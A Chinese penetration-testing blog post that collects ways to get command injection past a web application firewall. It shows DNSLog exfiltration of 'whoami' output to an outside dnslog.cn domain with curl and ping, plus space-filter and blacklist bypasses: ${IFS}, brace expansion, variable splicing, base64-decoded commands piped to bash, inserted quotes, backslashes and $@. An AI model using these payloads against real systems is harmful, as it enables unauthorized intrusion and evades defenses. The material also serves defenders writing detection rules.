渗透测试中waf命令执行的绕过经验技巧

最新推荐文章于 2025-03-13 11:55:17 发布

渗透测试教程

最新推荐文章于 2025-03-13 11:55:17 发布

阅读量682

点赞数 1

分类专栏：红蓝对抗渗透命令文章标签：渗透测试网络安全信息安全 shell

本文链接：https://blog.youkuaiyun.com/qq_34923966/article/details/113834319

版权

3 篇文章

订阅专栏

1 篇文章

订阅专栏

本文介绍了Linux和Windows命令行中的一些高级技巧，包括管道符、逻辑运算符、重定向、环境变量的使用，以及如何绕过空格限制和命令黑名单。示例展示了如何利用这些技巧执行命令和进行文件操作。同时，还提到了单引号、双引号和反引号在命令行中的特殊含义。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

管道符


;	顺序执行，命令之间没有逻辑关系		正常顺序执行
&&	逻辑与; 当命令1正确执行后，才会执行命令2。否则命令2不会执行		两个命令都会执行
\|\|	逻辑或; 当命令1不正确执行后，命令2才会执行。否则命令2不会执行	mi	会执行whom

符号	作用
’	单引号，在单引号中所有的特殊符号，如“$”和“`”（反引号）都无特殊含义
"	双引号，在双引号中特殊符号都无特殊含义，但“$”、“`”（反引号）和“\”是例外，拥有“调用变量值”,“引用命令”和“转义符”的特殊含义
`	反引号：反引号括起来的内容是系统命令，在Bash中先会执行它和()
$()	和反引号作用相同，用来引用系统命令
#	在shell脚本中,#开头的行代表注释
$	用于调用变量的值，如需要调用变量name的值时，需要用$name的方式得到
\	转义符，跟在\之后的特殊字符将失去特殊含义，变为普通字符

DNSLog带出命令

Linux:
curl http://`whoami`.uvlmxy.dnslog.cn
ping `whoami`.uvlmxy.dnslog.cn

Windows:
ping %USERNAME%.uvlmxy.dnslog.cn

${IFS}

root@mon-one:~/tmp/tmp# cat tmp
one
hh
nihao
root@mon-one:~/tmp/tmp# cat${IFS}tmp
one
hh
nihao

重定向符<>

root@mon-one:~/tmp/tmp# cat<>tmp
one
hh
nihao

{,}

root@mon-one:~/tmp/tmp# {cat,tmp}
one
hh
nihao

使用环境变量

COMMAND=$'\x20-al';ls$COMMAND

拼接

root@mon-one:~/tmp/tmp# cat tmp
one
hh
nihao
root@mon-one:~/tmp/tmp# a=ca;b=t;c=tmp;$a$b $c
one
hh
nihao

base64编码

root@mon-one:~/tmp/tmp# `echo "Y2F0IHRtcA=="|base64 -d`
one
hh
nihao
root@mon-one:~/tmp/tmp# echo "Y2F0IHRtcA=="|base64 -d|bash
one
hh
nihao

单引号/双引号

root@mon-one:~/tmp/tmp# ca''t tm""p
one
hh
nihao

*反斜线*

root@mon-one:~/tmp/tmp# c\at tmp
one
hh
nihao

$@绕过

who$@ami

如果觉得有用，感谢师傅给个赞支持下